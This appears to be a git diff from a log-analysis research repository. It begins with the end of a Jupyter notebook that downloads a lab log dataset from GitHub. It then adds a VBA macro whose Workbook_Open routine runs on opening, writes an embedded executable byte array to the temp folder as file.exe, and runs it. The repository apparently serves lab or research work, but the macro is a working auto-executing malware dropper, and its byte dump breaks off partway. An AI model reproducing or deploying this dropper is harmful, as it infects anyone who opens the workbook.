"Requirement already satisfied: charset-normalizer<4,>=2 in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (from requests>=2.14.0->PyGithub) (3.3.2)\r\n",
|
||||
"Requirement already satisfied: idna<4,>=2.5 in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (from requests>=2.14.0->PyGithub) (3.6)\r\n",
|
||||
"Requirement already satisfied: certifi>=2017.4.17 in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (from requests>=2.14.0->PyGithub) (2024.2.2)\r\n",
|
||||
"Requirement already satisfied: wrapt<2,>=1.10 in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (from Deprecated->PyGithub) (1.16.0)\r\n",
|
||||
"Requirement already satisfied: pycparser in /home/marius/miniconda3/envs/llm_langchain/lib/python3.11/site-packages (from cffi>=1.4.1->pynacl>=1.4.0->PyGithub) (2.21)\r\n",
|
||||
"Downloading PyGithub-2.3.0-py3-none-any.whl (354 kB)\r\n",
|
||||
"\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m354.4/354.4 kB\u001b[0m \u001b[31m3.6 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m:00:01\u001b[0m\r\n",
|
||||
"\u001b[?25hDownloading PyJWT-2.8.0-py3-none-any.whl (22 kB)\r\n",
|
||||
"Downloading PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl (856 kB)\r\n",
|
||||
"\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m856.7/856.7 kB\u001b[0m \u001b[31m11.4 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m00:01\u001b[0m\r\n",
|
||||
"\u001b[?25hInstalling collected packages: pyjwt, pynacl, PyGithub\r\n",
|
||||
"Successfully installed PyGithub-2.3.0 pyjwt-2.8.0 pynacl-1.5.0\r\n",
|
||||
"Note: you may need to restart the kernel to use updated packages.\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"%pip install PyGithub"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 2,
|
||||
"id": "68cdc5d497e208e3",
|
||||
"metadata": {
|
||||
"ExecuteTime": {
|
||||
"end_time": "2024-05-11T16:18:46.000392Z",
|
||||
"start_time": "2024-05-11T16:18:45.992401Z"
|
||||
}
|
||||
},
|
||||
"outputs": [],
|
||||
"source": [
|
||||
"from dotenv import load_dotenv\n",
|
||||
"import os\n",
|
||||
"\n",
|
||||
"load_dotenv(\"thesis_env_ro\", verbose=True) # take environment variables from the file\n",
|
||||
"token = os.getenv('GITHUB_PERSONAL_ACCESS_TOKEN')"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 14,
|
||||
"id": "1069e0bfa4686f67",
|
||||
"metadata": {
|
||||
"ExecuteTime": {
|
||||
"end_time": "2024-05-16T17:44:25.085423Z",
|
||||
"start_time": "2024-05-16T17:44:21.570849Z"
|
||||
}
|
||||
},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"https://api.github.com/repos/norandom/log2ml/releases/assets/168114916\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"data": {
|
||||
"application/vnd.jupyter.widget-view+json": {
|
||||
"model_id": "5f0622d443bc48728f0e7ed72ebd7fab",
|
||||
"version_major": 2,
|
||||
"version_minor": 0
|
||||
},
|
||||
"text/plain": [
|
||||
" 0%| | 0.00/6.28M [00:00<?, ?iB/s]"
|
||||
]
|
||||
},
|
||||
"metadata": {},
|
||||
"output_type": "display_data"
|
||||
},
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"File downloaded successfully and saved as lab_logs_normal_activity_may_15_2024.csv\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"from github import Github\n",
|
||||
"import requests\n",
|
||||
"from tqdm.notebook import tqdm\n",
|
||||
"\n",
|
||||
"\n",
|
||||
"def get_specific_file_from_tagged_release(token, repo_name, tag_name, filename):\n",
|
||||
" g = Github(token)\n",
|
||||
" repo = g.get_repo(repo_name)\n",
|
||||
" releases = repo.get_releases()\n",
|
||||
"\n",
|
||||
" for release in releases:\n",
|
||||
" if release.tag_name == tag_name:\n",
|
||||
" for asset in release.get_assets():\n",
|
||||
" if asset.name == filename:\n",
|
||||
" return asset.url\n",
|
||||
" print(\"File not found. Try get_specific_file_from_latest_release() instead.\")\n",
|
||||
" return None\n",
|
||||
"\n",
|
||||
"def get_specific_file_from_latest_release(token, repo_name, filename):\n",
|
||||
" g = Github(token)\n",
|
||||
" repo = g.get_repo(repo_name)\n",
|
||||
" release = repo.get_latest_release()\n",
|
||||
"\n",
|
||||
" for asset in release.get_assets():\n",
|
||||
" if asset.name == filename:\n",
|
||||
" return asset.url # Use asset.url which points to API URL needing headers\n",
|
||||
"\n",
|
||||
"def download_file(url, token, save_path):\n",
|
||||
" headers = {'Authorization': f'token {token}', 'Accept': 'application/octet-stream'}\n",
|
||||
" # First request to handle GitHub's redirection and authentication properly\n",
|
||||
" with requests.get(url, headers=headers, stream=True) as initial_response:\n",
|
||||
" initial_response.raise_for_status() # Ensure the initial request is successful\n",
|
||||
" # Follow redirection if necessary, maintaining headers\n",
|
||||
" if initial_response.history:\n",
|
||||
" url = initial_response.url # Updated URL after redirection\n",
|
||||
"\n",
|
||||
" # Now, proceed with downloading the file\n",
|
||||
" with requests.get(url, headers=headers, stream=True) as response:\n",
|
||||
" response.raise_for_status()\n",
|
||||
" total_size_in_bytes = int(response.headers.get('content-length', 0))\n",
|
||||
" block_size = 1024\n",
|
||||
" \n",
|
||||
" progress_bar = tqdm(total=total_size_in_bytes, unit='iB', unit_scale=True)\n",
|
||||
" with open(save_path, 'wb') as file:\n",
|
||||
" for data in response.iter_content(block_size):\n",
|
||||
" progress_bar.update(len(data))\n",
|
||||
" file.write(data)\n",
|
||||
" progress_bar.close()\n",
|
||||
"\n",
|
||||
" if total_size_in_bytes != 0 and progress_bar.n != total_size_in_bytes:\n",
|
||||
" print(\"ERROR, something went wrong\")\n",
|
||||
" else:\n",
|
||||
" print(f\"File downloaded successfully and saved as {save_path}\")\n",
|
||||
"\n",
|
||||
"# Your GitHub token\n",
|
||||
"github_token = token\n",
|
||||
"\n",
|
||||
"# Repository name\n",
|
||||
"repository_name = \"norandom/log2ml\"\n",
|
||||
"\n",
|
||||
"# File name to search for\n",
|
||||
"file_name = \"lab_logs_normal_activity_may_15_2024.json\"\n",
|
||||
"\n",
|
||||
"# Get the download URL of the specific file\n",
|
||||
"# download_url = get_specific_file_from_latest_release(github_token, repository_name, file_name)\n",
|
||||
"download_url = get_specific_file_from_tagged_release(github_token, repository_name, \"foundations\", file_name)\n",
|
||||
"print(download_url)\n",
|
||||
"\n",
|
||||
"if download_url:\n",
|
||||
" local_file_path = \"lab_logs_normal_activity_may_15_2024.csv\"\n",
|
||||
" download_file(download_url, github_token, local_file_path)\n",
|
||||
"else:\n",
|
||||
" print(\"File not found.\")\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 16,
|
||||
"id": "393703bd6e7a693f",
|
||||
"metadata": {
|
||||
"ExecuteTime": {
|
||||
"end_time": "2024-05-16T17:44:33.762701Z",
|
||||
"start_time": "2024-05-16T17:44:33.641528Z"
|
||||
}
|
||||
},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"8000 lab_logs_normal_activity_may_15_2024.csv\r\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"!wc -l lab_logs_normal_activity_may_15_2024.csv"
|
||||
]
|
||||
}
|
||||
],
|
||||
"metadata": {
|
||||
"kernelspec": {
|
||||
"display_name": "Python 3",
|
||||
"language": "python",
|
||||
"name": "python3"
|
||||
},
|
||||
"language_info": {
|
||||
"codemirror_mode": {
|
||||
"name": "ipython",
|
||||
"version": 2
|
||||
},
|
||||
"file_extension": ".py",
|
||||
"mimetype": "text/x-python",
|
||||
"name": "python",
|
||||
"nbconvert_exporter": "python",
|
||||
"pygments_lexer": "ipython2",
|
||||
"version": "2.7.6"
|
||||
}
|
||||
},
|
||||
"nbformat": 4,
|
||||
"nbformat_minor": 5
|
||||
}
|
||||
Binary file not shown.
@ -0,0 +1,451 @@
|
||||
Sub Workbook_Open()
|
||||
Dim strFile
|
||||
|
||||
strFile = TempFilename
|
||||
DumpFile strFile
|
||||
RunFile strFile
|
||||
End Sub
|
||||
|
||||
Function TempFilename()
|
||||
Dim objFSO
|
||||
|
||||
Set objFSO = CreateObject("Scripting.FileSystemObject")
|
||||
TempFilename = objFSO.BuildPath(objFSO.GetSpecialFolder(2), "file.exe")
|
||||
End Function
|
||||
|
||||
Sub RunFile(strFilename)
|
||||
Dim sh
|
||||
|
||||
Set sh = CreateObject("WScript.Shell")
|
||||
sh.Run strFilename
|
||||
End Sub
|
||||
|
||||
Sub WriteBytes(objFile, strBytes)
|
||||
Dim aNumbers
|
||||
Dim iIter
|
||||
|
||||
aNumbers = split(strBytes)
|
||||
for iIter = lbound(aNumbers) to ubound(aNumbers)
|
||||
objFile.Write Chr(aNumbers(iIter))
|
||||
next
|
||||
End Sub
|
||||
|
||||
Sub DumpFile1(objFile)
|
||||
WriteBytes objFile, "77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 128 0 0 0 14 31 186 14 0 180 9 205"
|
||||
WriteBytes objFile, "33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97 110 110 111"
|
||||
WriteBytes objFile, "116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46 13 13 10"
|
||||
WriteBytes objFile, "36 0 0 0 0 0 0 0 80 69 0 0 76 1 2 0 78 220 111 102 0 0 0 0 0 0 0 0 224 0 34 0 11 1"
|
||||
WriteBytes objFile, "48 0 0 42 0 0 0 2 0 0 0 0 0 0 34 72 0 0 0 32 0 0 0 96 0 0 0 0 64 0 0 32 0 0 0 2 0"
|
||||
WriteBytes objFile, "0 4 0 0 0 0 0 0 0 4 0 0 0 0 0 0 0 0 128 0 0 0 2 0 0 0 0 0 0 3 0 64 133 0 0 16 0 0"
|
||||
WriteBytes objFile, "16 0 0 0 0 16 0 0 16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 0 208 71 0 0 79 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 96 0 0 12 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0"
|
||||
WriteBytes objFile, "0 8 0 0 0 0 0 0 0 0 0 0 0 8 32 0 0 72 0 0 0 0 0 0 0 0 0 0 0 46 116 101 120 116 0 0"
|
||||
WriteBytes objFile, "0 40 40 0 0 0 32 0 0 0 42 0 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 96 46 114 101"
|
||||
WriteBytes objFile, "108 111 99 0 0 12 0 0 0 0 96 0 0 0 2 0 0 0 44 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 66"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 72 0 0 0 0 0 0 72 0 0 0 2 0 5 0 132 45 0 0 76 26 0"
|
||||
WriteBytes objFile, "0 1 0 0 0 2 0 0 6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 54 2 40 6 0 0 10 2 40 4 0 0 6 42 30 115 1 0 0 6 38"
|
||||
WriteBytes objFile, "42 0 0 27 48 6 0 184 9 0 0 1 0 0 17 115 13 0 0 6 10 114 1 0 0 112 23 141 26 0 0 1"
|
||||
WriteBytes objFile, "37 22 31 44 157 40 7 0 0 10 40 1 0 0 43 11 6 114 51 0 0 112 125 3 0 0 4 114 53 0 0"
|
||||
WriteBytes objFile, "112 23 141 26 0 0 1 37 22 31 44 157 40 7 0 0 10 40 1 0 0 43 126 6 0 0 4 37 45 23 38"
|
||||
WriteBytes objFile, "126 5 0 0 4 254 6 17 0 0 6 115 9 0 0 10 37 128 6 0 0 4 40 2 0 0 43 40 1 0 0 43 12"
|
||||
WriteBytes objFile, "114 87 0 0 112 23 141 26 0 0 1 37 22 31 44 157 40 7 0 0 10 40 1 0 0 43 126 7 0 0 4"
|
||||
WriteBytes objFile, "37 45 23 38 126 5 0 0 4 254 6 18 0 0 6 115 9 0 0 10 37 128 7 0 0 4 40 2 0 0 43 40"
|
||||
WriteBytes objFile, "1 0 0 43 13 114 106 1 0 112 23 141 26 0 0 1 37 22 31 44 157 40 7 0 0 10 40 1 0 0 43"
|
||||
WriteBytes objFile, "126 8 0 0 4 37 45 23 38 126 5 0 0 4 254 6 19 0 0 6 115 9 0 0 10 37 128 8 0 0 4 40"
|
||||
WriteBytes objFile, "2 0 0 43 40 1 0 0 43 19 4 114 129 2 0 112 40 11 0 0 10 114 50 3 0 112 40 12 0 0 10"
|
||||
WriteBytes objFile, "19 5 114 54 3 0 112 40 11 0 0 10 114 50 3 0 112 40 12 0 0 10 19 6 6 114 105 4 0 112"
|
||||
WriteBytes objFile, "40 13 0 0 10 125 4 0 0 4 6 114 105 4 0 112 40 13 0 0 10 125 2 0 0 4 115 14 0 0 10"
|
||||
WriteBytes objFile, "19 7 114 117 4 0 112 19 8 40 15 0 0 10 19 36 18 36 254 22 12 0 0 1 111 16 0 0 10 114"
|
||||
WriteBytes objFile, "139 4 0 112 114 51 0 0 112 111 12 0 0 10 22 31 10 111 17 0 0 10 19 9 114 143 4 0 112"
|
||||
WriteBytes objFile, "40 18 0 0 10 19 10 114 233 4 0 112 19 11 40 19 0 0 10 19 12 17 12 23 111 20 0 0 10"
|
||||
WriteBytes objFile, "17 12 24 111 21 0 0 10 17 12 17 10 111 22 0 0 10 17 12 111 23 0 0 10 17 10 115 24"
|
||||
WriteBytes objFile, "0 0 10 19 13 32 0 8 0 0 115 25 0 0 10 115 26 0 0 10 19 14 40 27 0 0 10 17 14 22 111"
|
||||
WriteBytes objFile, "28 0 0 10 111 29 0 0 10 19 15 17 12 111 30 0 0 10 17 15 22 17 15 142 105 111 31 0"
|
||||
WriteBytes objFile, "0 10 19 16 17 13 17 16 111 32 0 0 10 19 17 17 11 28 141 5 0 0 1 37 22 17 8 17 9 40"
|
||||
WriteBytes objFile, "33 0 0 10 162 37 23 114 158 5 0 112 162 37 24 114 51 0 0 112 162 37 25 17 12 111 34"
|
||||
WriteBytes objFile, "0 0 10 40 35 0 0 10 162 37 26 17 16 40 35 0 0 10 162 37 27 17 17 40 35 0 0 10 162"
|
||||
WriteBytes objFile, "40 36 0 0 10 19 18 32 240 0 0 0 40 37 0 0 10 6 254 6 14 0 0 6 115 38 0 0 10 40 39"
|
||||
WriteBytes objFile, "0 0 10 40 27 0 0 10 17 18 111 29 0 0 10 40 11 0 0 6 19 19 20 19 20 115 8 0 0 6 19"
|
||||
WriteBytes objFile, "20 17 20 23 111 40 0 0 10 17 20 40 41 0 0 10 111 42 0 0 10 17 20 111 43 0 0 10 40"
|
||||
WriteBytes objFile, "44 0 0 10 111 45 0 0 10 114 51 0 0 112 19 21 7 111 46 0 0 10 19 37 56 228 0 0 0 18"
|
||||
WriteBytes objFile, "37 40 47 0 0 10 19 38 22 19 39 56 138 0 0 0 8 17 39 111 48 0 0 10 114 162 5 0 112"
|
||||
WriteBytes objFile, "40 49 0 0 10 44 54 17 20 17 38 115 50 0 0 10 9 17 39 111 48 0 0 10 114 176 5 0 112"
|
||||
WriteBytes objFile, "114 180 5 0 112 111 12 0 0 10 114 184 5 0 112 114 51 0 0 112 111 12 0 0 10 111 9 0"
|
||||
WriteBytes objFile, "0 6 43 58 17 20 111 51 0 0 10 8 17 39 111 48 0 0 10 114 184 5 0 112 114 51 0 0 112"
|
||||
WriteBytes objFile, "111 12 0 0 10 9 17 39 111 48 0 0 10 114 184 5 0 112 114 51 0 0 112 111 12 0 0 10 111"
|
||||
WriteBytes objFile, "52 0 0 10 17 39 23 88 19 39 17 39 9 111 53 0 0 10 63 105 255 255 255 17 20 17 38 17"
|
||||
WriteBytes objFile, "4 17 7 17 4 111 53 0 0 10 111 54 0 0 10 111 48 0 0 10 114 184 5 0 112 114 51 0 0 112"
|
||||
WriteBytes objFile, "111 12 0 0 10 40 33 0 0 10 111 55 0 0 10 38 17 38 19 21 222 3 38 222 0 18 37 40 56"
|
||||
WriteBytes objFile, "0 0 10 58 16 255 255 255 222 14 18 37 254 22 3 0 0 27 111 57 0 0 10 220 22 19 40 56"
|
||||
WriteBytes objFile, "129 0 0 0 8 17 40 111 48 0 0 10 114 162 5 0 112 40 49 0 0 10 44 51 17 20 17 21 115"
|
||||
WriteBytes objFile, "50 0 0 10 9 17 40 111 48 0 0 10 114 176 5 0 112 114 180 5 0 112 111 12 0 0 10 114"
|
||||
WriteBytes objFile, "184 5 0 112 17 9 111 12 0 0 10 111 9 0 0 6 43 52 17 20 111 51 0 0 10 8 17 40 111 48"
|
||||
WriteBytes objFile, "0 0 10 114 184 5 0 112 17 9 111 12 0 0 10 9 17 40 111 48 0 0 10 114 184 5 0 112 17"
|
||||
WriteBytes objFile, "9 111 12 0 0 10 111 52 0 0 10 17 40 23 88 19 40 17 40 9 111 53 0 0 10 63 114 255 255"
|
||||
WriteBytes objFile, "255 17 20 17 21 17 4 17 7 17 4 111 53 0 0 10 111 54 0 0 10 111 48 0 0 10 114 184 5"
|
||||
WriteBytes objFile, "0 112 17 9 111 12 0 0 10 40 33 0 0 10 17 5 17 19 40 58 0 0 10 111 59 0 0 10 17 6 40"
|
||||
WriteBytes objFile, "5 0 0 6 22 111 48 0 0 10 19 22 40 27 0 0 10 17 22 40 12 0 0 6 111 60 0 0 10 19 22"
|
||||
WriteBytes objFile, "17 22 17 11 40 5 0 0 6 37 25 111 48 0 0 10 19 23 37 26 111 48 0 0 10 19 24 27 111"
|
||||
WriteBytes objFile, "48 0 0 10 17 24 40 18 0 0 10 19 25 17 13 17 25 111 32 0 0 10 40 35 0 0 10 40 61 0"
|
||||
WriteBytes objFile, "0 10 44 5 221 188 4 0 0 17 12 17 23 40 18 0 0 10 111 62 0 0 10 17 12 111 63 0 0 10"
|
||||
WriteBytes objFile, "17 25 22 17 25 142 105 111 31 0 0 10 19 26 17 14 17 26 23 111 64 0 0 10 19 27 40 19"
|
||||
WriteBytes objFile, "0 0 10 19 28 17 28 23 111 20 0 0 10 17 28 24 111 21 0 0 10 17 28 17 27 111 22 0 0"
|
||||
WriteBytes objFile, "10 17 28 111 23 0 0 10 17 28 111 65 0 0 10 115 24 0 0 10 19 13 26 141 51 0 0 1 19"
|
||||
WriteBytes objFile, "29 40 66 0 0 10 17 29 111 67 0 0 10 17 28 111 30 0 0 10 17 29 22 17 29 142 105 111"
|
||||
WriteBytes objFile, "31 0 0 10 19 30 17 13 17 30 111 32 0 0 10 19 17 17 11 28 141 5 0 0 1 37 22 17 9 162"
|
||||
WriteBytes objFile, "37 23 114 198 5 0 112 162 37 24 114 51 0 0 112 162 37 25 17 28 111 34 0 0 10 40 35"
|
||||
WriteBytes objFile, "0 0 10 162 37 26 17 30 40 35 0 0 10 162 37 27 17 17 40 35 0 0 10 162 40 36 0 0 10"
|
||||
WriteBytes objFile, "19 31 40 27 0 0 10 17 31 111 29 0 0 10 40 11 0 0 6 19 19 22 19 41 56 129 0 0 0 8 17"
|
||||
WriteBytes objFile, "41 111 48 0 0 10 114 162 5 0 112 40 49 0 0 10 44 51 17 20 17 21 115 50 0 0 10 9 17"
|
||||
WriteBytes objFile, "41 111 48 0 0 10 114 176 5 0 112 114 180 5 0 112 111 12 0 0 10 114 184 5 0 112 17"
|
||||
WriteBytes objFile, "9 111 12 0 0 10 111 9 0 0 6 43 52 17 20 111 51 0 0 10 8 17 41 111 48 0 0 10 114 184"
|
||||
WriteBytes objFile, "5 0 112 17 9 111 12 0 0 10 9 17 41 111 48 0 0 10 114 184 5 0 112 17 9 111 12 0 0 10"
|
||||
WriteBytes objFile, "111 52 0 0 10 17 41 23 88 19 41 17 41 9 111 53 0 0 10 63 114 255 255 255 17 20 17"
|
||||
WriteBytes objFile, "21 17 4 17 7 17 4 111 53 0 0 10 111 54 0 0 10 111 48 0 0 10 114 184 5 0 112 17 9 111"
|
||||
WriteBytes objFile, "12 0 0 10 40 33 0 0 10 17 5 17 19 40 58 0 0 10 111 59 0 0 10 17 6 40 5 0 0 6 22 111"
|
||||
WriteBytes objFile, "48 0 0 10 19 22 40 27 0 0 10 17 22 40 12 0 0 6 111 60 0 0 10 19 22 17 22 17 11 40"
|
||||
WriteBytes objFile, "5 0 0 6 37 25 111 48 0 0 10 19 23 37 26 111 48 0 0 10 19 24 27 111 48 0 0 10 17 24"
|
||||
WriteBytes objFile, "40 18 0 0 10 19 25 17 13 17 25 111 32 0 0 10 40 35 0 0 10 40 61 0 0 10 44 5 221 150"
|
||||
WriteBytes objFile, "2 0 0 17 28 17 23 40 18 0 0 10 111 62 0 0 10 17 28 111 63 0 0 10 17 25 22 17 25 142"
|
||||
WriteBytes objFile, "105 111 31 0 0 10 26 141 51 0 0 1 19 32 26 141 51 0 0 1 19 33 37 22 17 32 22 26 40"
|
||||
WriteBytes objFile, "68 0 0 10 26 17 33 22 26 40 68 0 0 10 17 29 40 35 0 0 10 17 32 40 35 0 0 10 40 61"
|
||||
WriteBytes objFile, "0 0 10 44 5 221 54 2 0 0 17 28 111 23 0 0 10 17 28 111 30 0 0 10 17 33 22 17 33 142"
|
||||
WriteBytes objFile, "105 111 31 0 0 10 19 34 17 13 17 34 111 32 0 0 10 19 17 17 11 28 141 5 0 0 1 37 22"
|
||||
WriteBytes objFile, "17 9 162 37 23 114 202 5 0 112 162 37 24 114 51 0 0 112 162 37 25 17 28 111 34 0 0"
|
||||
WriteBytes objFile, "10 40 35 0 0 10 162 37 26 17 34 40 35 0 0 10 162 37 27 17 17 40 35 0 0 10 162 40 36"
|
||||
WriteBytes objFile, "0 0 10 19 35 40 27 0 0 10 17 35 111 29 0 0 10 40 11 0 0 6 19 19 22 19 42 56 129 0"
|
||||
WriteBytes objFile, "0 0 8 17 42 111 48 0 0 10 114 162 5 0 112 40 49 0 0 10 44 51 17 20 17 21 115 50 0"
|
||||
WriteBytes objFile, "0 10 9 17 42 111 48 0 0 10 114 176 5 0 112 114 180 5 0 112 111 12 0 0 10 114 184 5"
|
||||
WriteBytes objFile, "0 112 17 9 111 12 0 0 10 111 9 0 0 6 43 52 17 20 111 51 0 0 10 8 17 42 111 48 0 0"
|
||||
WriteBytes objFile, "10 114 184 5 0 112 17 9 111 12 0 0 10 9 17 42 111 48 0 0 10 114 184 5 0 112 17 9 111"
|
||||
WriteBytes objFile, "12 0 0 10 111 52 0 0 10 17 42 23 88 19 42 17 42 9 111 53 0 0 10 63 114 255 255 255"
|
||||
WriteBytes objFile, "17 20 17 21 17 4 17 7 17 4 111 53 0 0 10 111 54 0 0 10 111 48 0 0 10 114 184 5 0 112"
|
||||
WriteBytes objFile, "17 9 111 12 0 0 10 40 33 0 0 10 17 5 17 19 40 58 0 0 10 111 59 0 0 10 17 6 40 5 0"
|
||||
WriteBytes objFile, "0 6 22 111 48 0 0 10 19 22 40 27 0 0 10 17 22 40 12 0 0 6 111 60 0 0 10 19 22 17 22"
|
||||
WriteBytes objFile, "17 11 40 5 0 0 6 37 25 111 48 0 0 10 19 23 37 26 111 48 0 0 10 19 24 27 111 48 0 0"
|
||||
WriteBytes objFile, "10 17 24 40 18 0 0 10 19 25 17 13 17 25 111 32 0 0 10 40 35 0 0 10 40 61 0 0 10 44"
|
||||
WriteBytes objFile, "5 221 129 0 0 0 17 28 17 23 40 18 0 0 10 111 62 0 0 10 17 28 111 63 0 0 10 17 25 22"
|
||||
WriteBytes objFile, "17 25 142 105 111 31 0 0 10 40 69 0 0 10 111 70 0 0 10 22 154 111 71 0 0 10 22 154"
|
||||
WriteBytes objFile, "20 26 141 5 0 0 1 37 22 17 21 162 37 23 6 123 3 0 0 4 162 37 24 17 9 162 37 25 17"
|
||||
End Sub
|
||||
|
||||
Sub DumpFile2(objFile)
|
||||
WriteBytes objFile, "28 162 111 72 0 0 10 38 222 38 19 43 40 73 0 0 10 17 43 111 74 0 0 10 40 11 0 0 10"
|
||||
WriteBytes objFile, "17 43 111 75 0 0 10 40 76 0 0 10 111 77 0 0 10 222 0 42 65 76 0 0 0 0 0 0 208 2 0"
|
||||
WriteBytes objFile, "0 216 0 0 0 168 3 0 0 3 0 0 0 5 0 0 1 2 0 0 0 194 2 0 0 247 0 0 0 185 3 0 0 14 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 145 9 0 0 145 9 0 0 38 0 0 0 14 0 0 1 19 48 3 0 18 2 0 0"
|
||||
WriteBytes objFile, "2 0 0 17 3 40 78 0 0 10 114 206 5 0 112 114 212 5 0 112 111 12 0 0 10 114 216 5 0"
|
||||
WriteBytes objFile, "112 114 212 5 0 112 111 12 0 0 10 114 222 5 0 112 114 228 5 0 112 111 12 0 0 10 16"
|
||||
WriteBytes objFile, "1 3 114 232 5 0 112 111 79 0 0 10 44 18 3 114 232 5 0 112 114 240 5 0 112 111 12 0"
|
||||
WriteBytes objFile, "0 10 16 1 3 114 12 6 0 112 111 79 0 0 10 44 18 3 114 12 6 0 112 114 20 6 0 112 111"
|
||||
WriteBytes objFile, "12 0 0 10 16 1 3 114 48 6 0 112 111 79 0 0 10 44 18 3 114 48 6 0 112 114 56 6 0 112"
|
||||
WriteBytes objFile, "111 12 0 0 10 16 1 3 114 84 6 0 112 111 79 0 0 10 44 18 3 114 84 6 0 112 114 92 6"
|
||||
WriteBytes objFile, "0 112 111 12 0 0 10 16 1 3 114 120 6 0 112 111 79 0 0 10 44 18 3 114 120 6 0 112 114"
|
||||
WriteBytes objFile, "128 6 0 112 111 12 0 0 10 16 1 3 114 156 6 0 112 111 79 0 0 10 44 18 3 114 156 6 0"
|
||||
WriteBytes objFile, "112 114 164 6 0 112 111 12 0 0 10 16 1 3 115 80 0 0 10 2 40 81 0 0 10 10 115 82 0"
|
||||
WriteBytes objFile, "0 10 11 6 111 83 0 0 10 114 192 6 0 112 111 84 0 0 10 44 27 7 6 111 83 0 0 10 114"
|
||||
WriteBytes objFile, "192 6 0 112 111 84 0 0 10 111 85 0 0 10 111 86 0 0 10 6 111 83 0 0 10 114 206 6 0"
|
||||
WriteBytes objFile, "112 111 84 0 0 10 44 27 7 6 111 83 0 0 10 114 206 6 0 112 111 84 0 0 10 111 85 0 0"
|
||||
WriteBytes objFile, "10 111 86 0 0 10 6 111 83 0 0 10 114 220 6 0 112 111 84 0 0 10 44 27 7 6 111 83 0"
|
||||
WriteBytes objFile, "0 10 114 220 6 0 112 111 84 0 0 10 111 85 0 0 10 111 86 0 0 10 6 111 83 0 0 10 114"
|
||||
WriteBytes objFile, "234 6 0 112 111 84 0 0 10 44 27 7 6 111 83 0 0 10 114 234 6 0 112 111 84 0 0 10 111"
|
||||
WriteBytes objFile, "85 0 0 10 111 86 0 0 10 6 111 83 0 0 10 114 248 6 0 112 111 84 0 0 10 44 27 7 6 111"
|
||||
WriteBytes objFile, "83 0 0 10 114 248 6 0 112 111 84 0 0 10 111 85 0 0 10 111 86 0 0 10 6 111 83 0 0 10"
|
||||
WriteBytes objFile, "114 6 7 0 112 111 84 0 0 10 44 27 7 6 111 83 0 0 10 114 6 7 0 112 111 84 0 0 10 111"
|
||||
WriteBytes objFile, "85 0 0 10 111 86 0 0 10 7 42 30 2 123 1 0 0 4 42 34 2 3 125 1 0 0 4 42 74 2 40 87"
|
||||
WriteBytes objFile, "0 0 10 2 115 88 0 0 10 40 7 0 0 6 42 58 2 40 6 0 0 6 3 4 111 89 0 0 10 42 0 0 0 19"
|
||||
WriteBytes objFile, "48 2 0 38 0 0 0 3 0 0 17 2 3 40 90 0 0 10 117 21 0 0 1 10 6 45 8 2 3 40 90 0 0 10"
|
||||
WriteBytes objFile, "42 6 2 40 6 0 0 6 111 91 0 0 10 6 42 30 2 40 35 0 0 10 42 30 2 40 18 0 0 10 42 30"
|
||||
WriteBytes objFile, "2 40 6 0 0 10 42 0 0 19 48 2 0 64 0 0 0 4 0 0 17 23 10 2 123 2 0 0 4 44 36 2 123 3"
|
||||
WriteBytes objFile, "0 0 4 114 51 0 0 112 40 61 0 0 10 44 18 4 111 92 0 0 10 2 123 3 0 0 4 40 49 0 0 10"
|
||||
WriteBytes objFile, "10 6 2 123 4 0 0 4 95 44 6 14 4 22 254 1 10 6 42 46 115 16 0 0 6 128 5 0 0 4 42 70"
|
||||
